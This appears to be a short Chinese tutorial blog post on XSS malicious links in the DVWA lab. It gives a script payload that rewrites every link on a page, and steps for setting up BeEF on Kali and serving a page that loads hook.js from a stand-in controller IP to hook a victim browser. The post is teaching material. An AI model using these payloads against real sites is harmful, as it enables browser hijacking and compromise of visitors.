XSS漏洞的恶意链接是怎样的

这篇文章给大家介绍XSS漏洞的恶意链接是怎样的，内容非常详细，感兴趣的小伙伴们可以参考借鉴，希望对大家能有所帮助。

一、环境：DVWA

二、修改网页链接

1、点击下面的网址，访问的是不同的内容

2、通过xss漏洞，修改这些网址都指向百度

window.onload：当窗口加载时，执行匿名函数

<script>

window.onload=function(){

var link=document.getElementsByTagName("a");

for(j=0;j<link.length;j++){

link[j].href="https://www.baidu.com";

}

}

</script>

3、在漏洞处输入上面代码，提交

 三、生成恶意链接（kali攻击，win7被攻击）

1、kali启动beff-xss

2、启动apache服务：service apache2 start

3、cd /var/www/html

修改index.html

<script src="

http://控制端ip:3000/hook.js"></script>

5、被控端上线。

关于XSS漏洞的恶意链接是怎样的就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。